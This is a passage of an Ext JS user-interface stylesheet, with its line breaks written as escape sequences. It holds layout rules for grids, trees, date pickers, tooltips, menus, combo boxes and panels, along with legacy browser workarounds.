width:16px;\n    height:16px;\n    margin-left:2px;\n    margin-top:3px;\n}\n\n/* All specials */\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer,\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker,\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander {\n\tbackground:transparent repeat-y right;\n}\n\n.x-grid3-body .x-grid3-check-col-td .x-grid3-cell-inner {\n    padding: 1px 0 0 0 !important;\n}\n\n.x-grid3-check-col {\n    width:100%;\n    height:16px;\n    background-position:center center;\n    background-repeat:no-repeat;\n    background-color:transparent;\n}\n\n.x-grid3-check-col-on {\n    width:100%;\n    height:16px;\n    background-position:center center;\n    background-repeat:no-repeat;\n    background-color:transparent;\n}\n\n/* Grouping classes */\n.x-grid-group, .x-grid-group-body, .x-grid-group-hd {\n    zoom:1;\n}\n\n.x-grid-group-hd {\n    border-bottom: 2px solid;\n    cursor:pointer;\n    padding-top:6px;\n}\n\n.x-grid-group-hd div.x-grid-group-title {\n    background:transparent no-repeat 3px 3px;\n    padding:4px 4px 4px 17px;\n}\n\n.x-grid-group-collapsed .x-grid-group-body {\n    display:none;\n}\n\n.ext-ie6 .x-grid3 .x-editor .x-form-text, .ext-ie7 .x-grid3 .x-editor .x-form-text {\n    position:relative;\n    top:-1px;\n}\n\n.ext-ie .x-props-grid .x-editor .x-form-text {\n    position:static;\n    top:0;\n}\n\n.x-grid-empty {\n    padding:10px;\n}\n\n/* fix floating toolbar issue */\n.ext-ie7 .x-grid-panel .x-panel-bbar {\n    position:relative;\n}\n\n\n/* Reset position to static when Grid Panel has been framed */\n/* to resolve 'snapping' from top to bottom behavior. */\n/* @forumThread 86656 */\n.ext-ie7 .x-grid-panel .x-panel-mc .x-panel-bbar {\n    position: static;\n}\n\n.ext-ie6 .x-grid3-header {\n    position: relative;\n}\n\n/* Fix WebKit bug in Grids */\n.ext-webkit .x-grid-panel .x-panel-bwrap{\n    -webkit-user-select:none;\n}\n.ext-webkit .x-tbar-page-number{\n    -webkit-user-select:ignore;\n}\n/* end*/\n\n/* column lines */\n.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell {\n    padding-right:0;\n    border-right:1px solid;\n}\n.x-pivotgrid .x-grid3-header-offset table {\n    width: 100%;\n    border-collapse: collapse;\n}\n\n.x-pivotgrid .x-grid3-header-offset table td {\n    padding: 4px 3px 4px 5px;\n    text-align: center;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    font-size: 11px;\n    line-height: 13px;\n    font-family: tahoma;\n}\n\n.x-pivotgrid .x-grid3-row-headers {\n    display: block;\n    float: left;\n}\n\n.x-pivotgrid .x-grid3-row-headers table {\n    height: 100%;\n    width: 100%;\n    border-collapse: collapse;\n}\n\n.x-pivotgrid .x-grid3-row-headers table td {\n    height: 18px;\n    padding: 2px 7px 0 0;\n    text-align: right;\n    text-overflow: ellipsis;\n    font-size: 11px;\n    font-family: tahoma;\n}\n\n.ext-gecko .x-pivotgrid .x-grid3-row-headers table td {\n    height: 21px;\n}\n\n.x-grid3-header-title {\n    top: 0%;\n    left: 0%;\n    position: absolute;\n    text-align: center;\n    vertical-align: middle;\n    font-family: tahoma;\n    font-size: 11px;\n    padding: auto 1px;\n    display: table-cell;\n}\n\n.x-grid3-header-title span {\n    position: absolute;\n    top: 50%;\n    left: 0%;\n    width: 100%;\n    margin-top: -6px;\n}.x-dd-drag-proxy{\n\tposition:absolute;\n\tleft:0;\n    top:0;\n\tvisibility:hidden;\n\tz-index:15000;\n}\n\n.x-dd-drag-ghost{\n\t-moz-opacity: 0.85;\n    opacity:.85;\n    filter: alpha(opacity=85);\n    border: 1px solid;\n\tpadding:3px;\n\tpadding-left:20px;\n\twhite-space:nowrap;\n}\n\n.x-dd-drag-repair .x-dd-drag-ghost{\n\t-moz-opacity: 0.4;\n    opacity:.4;\n    filter: alpha(opacity=40);\n\tborder:0 none;\n\tpadding:0;\n\tbackground-color:transparent;\n}\n\n.x-dd-drag-repair .x-dd-drop-icon{\n\tvisibility:hidden;\n}\n\n.x-dd-drop-icon{\n    position:absolute;\n\ttop:3px;\n\tleft:3px;\n\tdisplay:block;\n\twidth:16px;\n\theight:16px;\n\tbackground-color:transparent;\n\tbackground-position: center;\n\tbackground-repeat: no-repeat;\n\tz-index:1;\n}\n\n.x-view-selector {\n    position:absolute;\n    left:0;\n    top:0;\n    width:0;\n    border:1px dotted;\n\topacity: .5;\n    -moz-opacity: .5;\n    filter:alpha(opacity=50);\n    zoom:1;\n}.ext-strict .ext-ie .x-tree .x-panel-bwrap{\n    position:relative;\n    overflow:hidden;\n}\n\n.x-tree-icon, .x-tree-ec-icon, .x-tree-elbow-line, .x-tree-elbow, .x-tree-elbow-end, .x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{\n\tborder: 0 none;\n\theight: 18px;\n\tmargin: 0;\n\tpadding: 0;\n\tvertical-align: top;\n\twidth: 16px;\n    background-repeat: no-repeat;\n}\n\n.x-tree-node-collapsed .x-tree-node-icon, .x-tree-node-expanded .x-tree-node-icon, .x-tree-node-leaf .x-tree-node-icon{\n\tborder: 0 none;\n\theight: 18px;\n\tmargin: 0;\n\tpadding: 0;\n\tvertical-align: top;\n\twidth: 16px;\n\tbackground-position:center;\n    background-repeat: no-repeat;\n}\n\n.ext-ie .x-tree-node-indent img, .ext-ie .x-tree-node-icon, .ext-ie .x-tree-ec-icon {\n    vertical-align: middle !important;\n}\n\n.ext-strict .ext-ie8 .x-tree-node-indent img, .ext-strict .ext-ie8 .x-tree-node-icon, .ext-strict .ext-ie8 .x-tree-ec-icon {\n    vertical-align: top !important;\n}\n\n/* checkboxes */\n\ninput.x-tree-node-cb {\n    margin-left:1px;\n    height: 19px;\n\tvertical-align: bottom;\n}\n\n.ext-ie input.x-tree-node-cb {\n    margin-left:0;\n    margin-top: 1px;\n    width: 16px;\n    height: 16px;\n    vertical-align: middle;\n}\n\n.ext-strict .ext-ie8 input.x-tree-node-cb{\n    margin: 1px 1px;\n    height: 14px;\n    vertical-align: bottom;\n}\n\n.ext-strict .ext-ie8 input.x-tree-node-cb + a{\n    vertical-align: bottom;\n}\n\n.ext-opera input.x-tree-node-cb {\n    height: 14px;\n    vertical-align: middle;\n}\n\n.x-tree-noicon .x-tree-node-icon{\n\twidth:0; height:0;\n}\n\n/* No line styles */\n.x-tree-no-lines .x-tree-elbow{\n\tbackground-color:transparent;\n}\n\n.x-tree-no-lines .x-tree-elbow-end{\n\tbackground-color:transparent;\n}\n\n.x-tree-no-lines .x-tree-elbow-line{\n\tbackground-color:transparent;\n}\n\n/* Arrows */\n.x-tree-arrows .x-tree-elbow{\n\tbackground-color:transparent;\n}\n\n.x-tree-arrows .x-tree-elbow-plus{\n    background:transparent no-repeat 0 0;\n}\n\n.x-tree-arrows .x-tree-elbow-minus{\n    background:transparent no-repeat -16px 0;\n}\n\n.x-tree-arrows .x-tree-elbow-end{\n\tbackground-color:transparent;\n}\n\n.x-tree-arrows .x-tree-elbow-end-plus{\n    background:transparent no-repeat 0 0;\n}\n\n.x-tree-arrows .x-tree-elbow-end-minus{\n    background:transparent no-repeat -16px 0;\n}\n\n.x-tree-arrows .x-tree-elbow-line{\n\tbackground-color:transparent;\n}\n\n.x-tree-arrows .x-tree-ec-over .x-tree-elbow-plus{\n    background-position:-32px 0;\n}\n\n.x-tree-arrows .x-tree-ec-over .x-tree-elbow-minus{\n    background-position:-48px 0;\n}\n\n.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-plus{\n    background-position:-32px 0;\n}\n\n.x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-minus{\n    background-position:-48px 0;\n}\n\n.x-tree-elbow-plus, .x-tree-elbow-minus, .x-tree-elbow-end-plus, .x-tree-elbow-end-minus{\n\tcursor:pointer;\n}\n\n.ext-ie ul.x-tree-node-ct{\n    font-size:0;\n    line-height:0;\n    zoom:1;\n}\n\n.x-tree-node{\n\twhite-space: nowrap;\n}\n\n.x-tree-node-el {\n    line-height:18px;\n    cursor:pointer;\n}\n\n.x-tree-node a, .x-dd-drag-ghost a{\n\ttext-decoration:none;\n\t-khtml-user-select:none;\n\t-moz-user-select:none;\n    -webkit-user-select:ignore;\n    -kthml-user-focus:normal;\n    -moz-user-focus:normal;\n    -moz-outline: 0 none;\n    outline:0 none;\n}\n\n.x-tree-node a span, .x-dd-drag-ghost a span{\n\ttext-decoration:none;\n\tpadding:1px 3px 1px 2px;\n}\n\n.x-tree-node .x-tree-node-disabled .x-tree-node-icon{\n\t-moz-opacity: 0.5;\n   opacity:.5;\n   filter: alpha(opacity=50);\n}\n\n.x-tree-node .x-tree-node-inline-icon{\n\tbackground-color:transparent;\n}\n\n.x-tree-node a:hover, .x-dd-drag-ghost a:hover{\n\ttext-decoration:none;\n}\n\n.x-tree-node div.x-tree-drag-insert-below{\n \t border-bottom:1px dotted;\n}\n\n.x-tree-node div.x-tree-drag-insert-above{\n\t border-top:1px dotted;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below{\n \t border-bottom:0 none;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above{\n\t border-top:0 none;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{\n \t border-bottom:2px solid;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{\n\t border-top:2px solid;\n}\n\n.x-tree-node .x-tree-drag-append a span{\n\t border:1px dotted;\n}\n\n.x-dd-drag-ghost .x-tree-node-indent, .x-dd-drag-ghost .x-tree-ec-icon{\n\tdisplay:none !important;\n}\n\n/* Fix for ie rootVisible:false issue */\n.x-tree-root-ct {\n    zoom:1;\n}\n.x-date-picker {\n    border: 1px solid;\n    border-top:0 none;\n\tposition:relative;\n}\n\n.x-date-picker a {\n    -moz-outline:0 none;\n    outline:0 none;\n}\n\n.x-date-inner, .x-date-inner td, .x-date-inner th{\n    border-collapse:separate;\n}\n\n.x-date-middle,.x-date-left,.x-date-right {\n\tbackground: repeat-x 0 -83px;\n\toverflow:hidden;\n}\n\n.x-date-middle .x-btn-tc,.x-date-middle .x-btn-tl,.x-date-middle .x-btn-tr,\n.x-date-middle .x-btn-mc,.x-date-middle .x-btn-ml,.x-date-middle .x-btn-mr,\n.x-date-middle .x-btn-bc,.x-date-middle .x-btn-bl,.x-date-middle .x-btn-br{\n\tbackground:transparent !important;\n    vertical-align:middle;\n}\n\n.x-date-middle .x-btn-mc em.x-btn-arrow {\n    background:transparent no-repeat right 0;\n}\n\n.x-date-right, .x-date-left {\n    width:18px;\n}\n\n.x-date-right{\n    text-align:right;\n}\n\n.x-date-middle {\n    padding-top:2px;\n    padding-bottom:2px;\n    width:130px; /* FF3 */\n}\n\n.x-date-right a, .x-date-left a{\n    display:block;\n    width:16px;\n\theight:16px;\n\tbackground-position: center;\n\tbackground-repeat: no-repeat;\n\tcursor:pointer;\n    -moz-opacity: 0.6;\n    opacity:.6;\n    filter: alpha(opacity=60);\n}\n\n.x-date-right a:hover, .x-date-left a:hover{\n    -moz-opacity: 1;\n    opacity:1;\n    filter: alpha(opacity=100);\n}\n\n.x-item-disabled .x-date-right a:hover, .x-item-disabled .x-date-left a:hover{\n    -moz-opacity: 0.6;\n    opacity:.6;\n    filter: alpha(opacity=60);\n}\n\n.x-date-right a {\n    margin-right:2px;\n    text-decoration:none !important;\n}\n\n.x-date-left a{\n    margin-left:2px;\n    text-decoration:none !important;\n}\n\ntable.x-date-inner {\n    width: 100%;\n    table-layout:fixed;\n}\n\n.ext-webkit table.x-date-inner{\n    /* Fix for webkit browsers */\n    width: 175px;\n}\n\n\n.x-date-inner th {\n    width:25px;\n}\n\n.x-date-inner th {\n    background: repeat-x left top;\n    text-align:right !important;\n\tborder-bottom: 1px solid;\n\tcursor:default;\n    padding:0;\n    border-collapse:separate;\n}\n\n.x-date-inner th span {\n    display:block;\n    padding:2px;\n    padding-right:7px;\n}\n\n.x-date-inner td {\n    border: 1px solid;\n\ttext-align:right;\n    padding:0;\n}\n\n.x-date-inner a {\n    padding:2px 5px;\n    display:block;\n\ttext-decoration:none;\n    text-align:right;\n    zoom:1;\n}\n\n.x-date-inner .x-date-active{\n\tcursor:pointer;\n\tcolor:black;\n}\n\n.x-date-inner .x-date-selected a{\n\tbackground: repeat-x left top;\n\tborder:1px solid;\n    padding:1px 4px;\n}\n\n.x-date-inner .x-date-today a{\n\tborder: 1px solid;\n    padding:1px 4px;\n}\n\n.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a {\n    text-decoration:none !important;\n}\n\n.x-date-bottom {\n    padding:4px;\n    border-top: 1px solid;\n    background: repeat-x left top;\n}\n\n.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{\n    text-decoration:none !important;\n}\n\n.x-item-disabled .x-date-inner a:hover{\n    background: none;\n}\n\n.x-date-inner .x-date-disabled a {\n\tcursor:default;\n}\n\n.x-date-menu .x-menu-item {\n\tpadding:1px 24px 1px 4px;\n\twhite-space: nowrap;\n}\n\n.x-date-menu .x-menu-item .x-menu-item-icon {\n    width:10px;\n    height:10px;\n    margin-right:5px;\n    background-position:center -4px !important;\n}\n\n.x-date-mp {\n\tposition:absolute;\n\tleft:0;\n\ttop:0;\n\tdisplay:none;\n}\n\n.x-date-mp td {\n    padding:2px;\n\tfont:normal 11px arial, helvetica,tahoma,sans-serif;\n}\n\ntd.x-date-mp-month,td.x-date-mp-year,td.x-date-mp-ybtn {\n    border: 0 none;\n\ttext-align:center;\n\tvertical-align: middle;\n\twidth:25%;\n}\n\n.x-date-mp-ok {\n\tmargin-right:3px;\n}\n\n.x-date-mp-btns button {\n\ttext-decoration:none;\n\ttext-align:center;\n\ttext-decoration:none !important;\n\tborder:1px solid;\n\tpadding:1px 3px 1px;\n\tcursor:pointer;\n}\n\n.x-date-mp-btns {\n\tbackground: repeat-x left top;\n}\n\n.x-date-mp-btns td {\n\tborder-top: 1px solid;\n    text-align:center;\n}\n\ntd.x-date-mp-month a,td.x-date-mp-year a {\n\tdisplay:block;\n\tpadding:2px 4px;\n\ttext-decoration:none;\n\ttext-align:center;\n}\n\ntd.x-date-mp-month a:hover,td.x-date-mp-year a:hover {\n\ttext-decoration:none;\n\tcursor:pointer;\n}\n\ntd.x-date-mp-sel a {\n\tpadding:1px 3px;\n\tbackground: repeat-x left top;\n\tborder:1px solid;\n}\n\n.x-date-mp-ybtn a {\n    overflow:hidden;\n    width:15px;\n    height:15px;\n    cursor:pointer;\n    background:transparent no-repeat;\n    display:block;\n    margin:0 auto;\n}\n\n.x-date-mp-ybtn a.x-date-mp-next {\n    background-position:0 -120px;\n}\n\n.x-date-mp-ybtn a.x-date-mp-next:hover {\n    background-position:-15px -120px;\n}\n\n.x-date-mp-ybtn a.x-date-mp-prev {\n    background-position:0 -105px;\n}\n\n.x-date-mp-ybtn a.x-date-mp-prev:hover {\n    background-position:-15px -105px;\n}\n\n.x-date-mp-ybtn {\n   text-align:center;\n}\n\ntd.x-date-mp-sep {\n   border-right:1px solid;\n}.x-tip{\n\tposition: absolute;\n\ttop: 0;\n    left:0;\n    visibility: hidden;\n\tz-index: 20002;\n    border:0 none;\n}\n\n.x-tip .x-tip-close{\n\theight: 15px;\n\tfloat:right;\n\twidth: 15px;\n    margin:0 0 2px 2px;\n    cursor:pointer;\n    display:none;\n}\n\n.x-tip .x-tip-tc {\n\tbackground: transparent no-repeat 0 -62px;\n\tpadding-top:3px;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-tip .x-tip-tl {\n\tbackground: transparent no-repeat 0 0;\n\tpadding-left:6px;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-tip .x-tip-tr {\n\tbackground: transparent no-repeat right 0;\n\tpadding-right:6px;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-tip .x-tip-bc {\n\tbackground: transparent no-repeat 0 -121px;\n\theight:3px;\n    overflow:hidden;\n}\n\n.x-tip .x-tip-bl {\n\tbackground: transparent no-repeat 0 -59px;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-tip .x-tip-br {\n\tbackground: transparent no-repeat right -59px;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.x-tip .x-tip-mc {\n    border:0 none;\n}\n\n.x-tip .x-tip-ml {\n\tbackground: no-repeat 0 -124px;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-tip .x-tip-mr {\n\tbackground: transparent no-repeat right -124px;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.ext-ie .x-tip .x-tip-header,.ext-ie .x-tip .x-tip-tc {\n    font-size:0;\n    line-height:0;\n}\n\n.ext-border-box .x-tip .x-tip-header, .ext-border-box .x-tip .x-tip-tc{\n    line-height: 1px;\n}\n\n.x-tip .x-tip-header-text {\n    padding:0;\n    margin:0 0 2px 0;\n}\n\n.x-tip .x-tip-body {\n    margin:0 !important;\n    line-height:14px;\n    padding:0;\n}\n\n.x-tip .x-tip-body .loading-indicator {\n    margin:0;\n}\n\n.x-tip-draggable .x-tip-header,.x-tip-draggable .x-tip-header-text {\n    cursor:move;\n}\n\n.x-form-invalid-tip .x-tip-tc {\n\tbackground: repeat-x 0 -12px;\n    padding-top:6px;\n}\n\n.x-form-invalid-tip .x-tip-bc {\n\tbackground: repeat-x 0 -18px;\n    height:6px;\n}\n\n.x-form-invalid-tip .x-tip-bl {\n\tbackground: no-repeat 0 -6px;\n}\n\n.x-form-invalid-tip .x-tip-br {\n\tbackground: no-repeat right -6px;\n}\n\n.x-form-invalid-tip .x-tip-body {\n    padding:2px;\n}\n\n.x-form-invalid-tip .x-tip-body {\n    padding-left:24px;\n    background:transparent no-repeat 2px 2px;\n}\n\n.x-tip-anchor {\n    position: absolute;\n    width: 9px;\n    height: 10px;\n    overflow:hidden;\n    background: transparent no-repeat 0 0;\n    zoom:1;\n}\n.x-tip-anchor-bottom {\n    background-position: -9px 0;\n}\n.x-tip-anchor-right {\n    background-position: -18px 0;\n    width: 10px;\n}\n.x-tip-anchor-left {\n    background-position: -28px 0;\n    width: 10px;\n}.x-menu {\n\tz-index: 15000;\n\tzoom: 1;\n\tbackground: repeat-y;\n}\n\n.x-menu-floating{\n    border: 1px solid;\n}\n\n.x-menu a {\n    text-decoration: none !important;\n}\n\n.ext-ie .x-menu {\n    zoom:1;\n    overflow:hidden;\n}\n\n.x-menu-list{\n    padding: 2px;\n\tbackground-color:transparent;\n\tborder:0 none;\n    overflow:hidden;\n    overflow-y: hidden;\n}\n\n.ext-strict .ext-ie .x-menu-list{\n    position: relative;\n}\n\n.x-menu li{\n\tline-height:100%;\n}\n\n.x-menu li.x-menu-sep-li{\n\tfont-size:1px;\n\tline-height:1px;\n}\n\n.x-menu-list-item{\n    white-space: nowrap;\n\tdisplay:block;\n\tpadding:1px;\n}\n\n.x-menu-item{\n    -moz-user-select: none;\n    -khtml-user-select:none;\n    -webkit-user-select:ignore;\n}\n\n.x-menu-item-arrow{\n\tbackground:transparent no-repeat right;\n}\n\n.x-menu-sep {\n\tdisplay:block;\n\tfont-size:1px;\n\tline-height:1px;\n\tmargin: 2px 3px;\n\tborder-bottom:1px solid;\n    overflow:hidden;\n}\n\n.x-menu-focus {\n\tposition:absolute;\n\tleft:-1px;\n\ttop:-1px;\n\twidth:1px;\n\theight:1px;\n    line-height:1px;\n    font-size:1px;\n    -moz-outline:0 none;\n    outline:0 none;\n    -moz-user-select: none;\n    -khtml-user-select:none;\n    -webkit-user-select:ignore;\n    overflow:hidden;\n    display:block;\n}\n\na.x-menu-item {\n    cursor: pointer;\n    display: block;\n    line-height: 16px;\n    outline-color: -moz-use-text-color;\n    outline-style: none;\n    outline-width: 0;\n    padding: 3px 21px 3px 27px;\n    position: relative;\n    text-decoration: none;\n    white-space: nowrap;\n}\n\n.x-menu-item-active {\n    background-repeat: repeat-x;\n    background-position: left bottom;\n    border-style:solid;\n    border-width: 1px 0;\n    margin:0 1px;\n\tpadding: 0;\n}\n\n.x-menu-item-active a.x-menu-item {\n    border-style:solid;\n    border-width:0 1px;\n    margin:0 -1px;\n}\n\n.x-menu-item-icon {\n\tborder: 0 none;\n\theight: 16px;\n\tpadding: 0;\n\tvertical-align: top;\n\twidth: 16px;\n\tposition: absolute;\n    left: 3px;\n    top: 3px;\n    margin: 0;\n    background-position:center;\n}\n\n.ext-ie .x-menu-item-icon {\n    left: -24px;\n}\n.ext-strict .x-menu-item-icon {\n    left: 3px;\n}\n\n.ext-ie6 .x-menu-item-icon {\n    left: -24px;\n}\n\n.ext-ie .x-menu-item-icon {\n    vertical-align: middle;\n}\n\n.x-menu-check-item .x-menu-item-icon{\n\tbackground: transparent no-repeat center;\n}\n\n.x-menu-group-item .x-menu-item-icon{\n\tbackground-color: transparent;\n}\n\n.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{\n    background: transparent no-repeat center;\n}\n\n.x-date-menu .x-menu-list{\n    padding: 0;\n}\n\n.x-menu-date-item{\n\tpadding:0;\n}\n\n.x-menu .x-color-palette, .x-menu .x-date-picker{\n    margin-left: 26px;\n\tmargin-right:4px;\n}\n\n.x-menu .x-date-picker{\n    border:1px solid;\n    margin-top:2px;\n    margin-bottom:2px;\n}\n\n.x-menu-plain .x-color-palette, .x-menu-plain .x-date-picker{\n\t margin: 0;\n\t border: 0 none;\n}\n\n.x-date-menu {\n   padding:0 !important;\n}\n\n/*\n * fixes separator visibility problem in IE 6\n */\n.ext-strict .ext-ie6 .x-menu-sep-li {\n    padding: 3px 4px;\n}\n.ext-strict .ext-ie6 .x-menu-sep {\n    margin: 0;\n    height: 1px;\n}\n\n/*\n * Fixes an issue with \"fat\" separators in webkit\n */\n.ext-webkit .x-menu-sep{\n    height: 1px;\n}\n\n/*\n * Ugly mess to remove the white border under the picker\n */\n.ext-ie .x-date-menu{\n    height: 199px;\n}\n\n.ext-strict .ext-ie .x-date-menu, .ext-border-box .ext-ie8 .x-date-menu{\n    height: 197px;\n}\n\n.ext-strict .ext-ie7 .x-date-menu{\n    height: 195px;\n}\n\n.ext-strict .ext-ie8 .x-date-menu{\n    height: auto;\n}\n\n.x-cycle-menu .x-menu-item-checked {\n    border:1px dotted !important;\n\tpadding:0;\n}\n\n.x-menu .x-menu-scroller {\n    width: 100%;\n\tbackground-repeat:no-repeat;\n\tbackground-position:center;\n\theight:8px;\n    line-height: 8px;\n\tcursor:pointer;\n    margin: 0;\n    padding: 0;\n}\n\n.x-menu .x-menu-scroller-active{\n    height: 6px;\n    line-height: 6px;\n}\n\n.x-menu-list-item-indent{\n    padding-left: 27px;\n}/*\n Creates rounded, raised boxes like on the Ext website - the markup isn't pretty:\n  <div class=\"x-box-blue\">\n        <div class=\"x-box-tl\"><div class=\"x-box-tr\"><div class=\"x-box-tc\"></div></div></div>\n        <div class=\"x-box-ml\"><div class=\"x-box-mr\"><div class=\"x-box-mc\">\n            <h3>YOUR TITLE HERE (optional)</h3>\n            <div>YOUR CONTENT HERE</div>\n        </div></div></div>\n        <div class=\"x-box-bl\"><div class=\"x-box-br\"><div class=\"x-box-bc\"></div></div></div>\n    </div>\n */\n\n.x-box-tl {\n\tbackground: transparent no-repeat 0 0;\n    zoom:1;\n}\n\n.x-box-tc {\n\theight: 8px;\n\tbackground: transparent repeat-x 0 0;\n\toverflow: hidden;\n}\n\n.x-box-tr {\n\tbackground: transparent no-repeat right -8px;\n}\n\n.x-box-ml {\n\tbackground: transparent repeat-y 0;\n\tpadding-left: 4px;\n\toverflow: hidden;\n    zoom:1;\n}\n\n.x-box-mc {\n\tbackground: repeat-x 0 -16px;\n\tpadding: 4px 10px;\n}\n\n.x-box-mc h3 {\n\tmargin: 0 0 4px 0;\n    zoom:1;\n}\n\n.x-box-mr {\n\tbackground: transparent repeat-y right;\n\tpadding-right: 4px;\n\toverflow: hidden;\n}\n\n.x-box-bl {\n\tbackground: transparent no-repeat 0 -16px;\n    zoom:1;\n}\n\n.x-box-bc {\n\tbackground: transparent repeat-x 0 -8px;\n\theight: 8px;\n\toverflow: hidden;\n}\n\n.x-box-br {\n\tbackground: transparent no-repeat right -24px;\n}\n\n.x-box-tl, .x-box-bl {\n\tpadding-left: 8px;\n\toverflow: hidden;\n}\n\n.x-box-tr, .x-box-br {\n\tpadding-right: 8px;\n\toverflow: hidden;\n}.x-combo-list {\n    border:1px solid;\n    zoom:1;\n    overflow:hidden;\n}\n\n.x-combo-list-inner {\n    overflow:auto;\n    position:relative; /* for calculating scroll offsets */\n    zoom:1;\n    overflow-x:hidden;\n}\n\n.x-combo-list-hd {\n    border-bottom:1px solid;\n    padding:3px;\n}\n\n.x-resizable-pinned .x-combo-list-inner {\n    border-bottom:1px solid;\n}\n\n.x-combo-list-item {\n    padding:2px;\n    border:1px solid;\n    white-space: nowrap;\n    overflow:hidden;\n    text-overflow: ellipsis;\n}\n\n.x-combo-list .x-combo-selected{\n\tborder:1px dotted !important;\n    cursor:pointer;\n}\n\n.x-combo-list .x-toolbar {\n    border-top:1px solid;\n    border-bottom:0 none;\n}.x-panel {\n    border-style: solid;\n    border-width:0;\n}\n\n.x-panel-header {\n    overflow:hidden;\n    zoom:1;\n    padding:5px 3px 4px 5px;\n    border:1px solid;\n    line-height: 15px;\n    background: transparent repeat-x 0 -1px;\n}\n\n.x-panel-body {\n    border:1px solid;\n    border-top:0 none;\n    overflow:hidden;\n    position: relative; /* added for item scroll positioning */\n}\n\n.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar {\n    border:1px solid;\n    border-top:0 none;\n    overflow:hidden;\n    padding:2px;\n}\n\n.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar {\n    border-top:1px solid;\n    border-bottom: 0 none;\n}\n\n.x-panel-body-noheader, .x-panel-mc .x-panel-body {\n    border-top:1px solid;\n}\n\n.x-panel-header {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-panel-tl .x-panel-header {\n    padding:5px 0 4px 0;\n    border:0 none;\n    background:transparent no-repeat;\n}\n\n.x-panel-tl .x-panel-icon, .x-window-tl .x-panel-icon {\n    padding-left:20px !important;\n    background-repeat:no-repeat;\n    background-position:0 4px;\n    zoom:1;\n}\n\n.x-panel-inline-icon {\n    width:16px;\n\theight:16px;\n    background-repeat:no-repeat;\n    background-position:0 0;\n\tvertical-align:middle;\n\tmargin-right:4px;\n\tmargin-top:-1px;\n\tmargin-bottom:-1px;\n}\n\n.x-panel-tc {\n\tbackground: transparent repeat-x 0 0;\n\toverflow:hidden;\n}\n\n/* fix ie7 strict mode bug */\n.ext-strict .ext-ie7 .x-panel-tc {\n    overflow: visible;\n}\n\n.x-panel-tl {\n\tbackground: transparent no-repeat 0 0;\n\tpadding-left:6px;\n    zoom:1;\n    border-bottom:1px solid;\n}\n\n.x-panel-tr {\n\tbackground: transparent no-repeat right 0;\n\tzoom:1;\n    padding-right:6px;\n}\n\n.x-panel-bc {\n\tbackground: transparent repeat-x 0 bottom;\n    zoom:1;\n}\n\n.x-panel-bc .x-panel-footer {\n    zoom:1;\n}\n\n.x-panel-bl {\n\tbackground: transparent no-repeat 0 bottom;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-panel-br {\n\tbackground: transparent no-repeat right bottom;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.x-panel-mc {\n    border:0 none;\n    padding:0;\n    margin:0;\n    padding-top:6px;\n}\n\n.x-panel-mc .x-panel-body {\n    background-color:transparent;\n    border: 0 none;\n}\n\n.x-panel-ml {\n\tbackground: repeat-y 0 0;\n\tpadding-left:6px;\n    zoom:1;\n}\n\n.x-panel-mr {\n\tbackground: transparent repeat-y right 0;\n\tpadding-right:6px;\n    zoom:1;\n}\n\n.x-panel-bc .x-panel-footer {\n    padding-bottom:6px;\n}\n\n.x-panel-nofooter .x-panel-bc, .x-panel-nofooter .x-window-bc {\n\theight:6px;\n    font-size:0;\n    line-height:0;\n}\n\n.x-panel-bwrap {\n    overflow:hidden;\n    zoom:1;\n    left:0;\n    top:0;\n}\n.x-panel-body {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-panel-collapsed .x-resizable-handle{\n    display:none;\n}\n\n.ext-gecko .x-panel-animated div {\n    overflow:hidden !important;\n}\n\n/* Plain */\n.x-plain-body {\n    overflow:hidden;\n}\n\n.x-plain-bbar .x-toolbar {\n    overflow:hidden;\n    padding:2px;\n}\n\n.x-plain-tbar .x-toolbar {\n    overflow:hidden;\n    padding:2px;\n}\n\n.x-plain-bwrap {\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-plain {\n    overflow:hidden;\n}\n\n/* Tools */\n.x-tool {\n    overflow:hidden;\n    width:15px;\n    height:15px;\n    float:right;\n    cursor:pointer;\n    background:transparent no-repeat;\n    margin-left:2px;\n}\n\n/* expand / collapse tools */\n.x-tool-toggle {\n    background-position:0 -60px;\n}\n\n.x-tool-toggle-over {\n    background-position:-15px -60px;\n}\n\n.x-panel-collapsed .x-tool-toggle {\n    background-position:0 -75px;\n}\n\n.x-panel-collapsed .x-tool-toggle-over {\n    background-position:-15px -75px;\n}\n\n\n.x-tool-close {\n    background-position:0 -0;\n}\n\n.x-tool-close-over {\n    background-position:-15px 0;\n}\n\n.x-tool-minimize {\n    background-position:0 -15px;\n}\n\n.x-tool-minimize-over {\n    background-position:-15px -15px;\n}\n\n.x-tool-maximize {\n    background-position:0 -30px;\n}\n\n.x-tool-maximize-over {\n    background-position:-15px -30px;\n}\n\n.x-tool-restore {\n    background-position:0 -45px;\n}\n\n.x-tool-restore-over {\n    background-position:-15px -45px;\n}\n\n.x-tool-gear {\n    background-position:0 -90px;\n}\n\n.x-tool-gear-over {\n    background-position:-15px 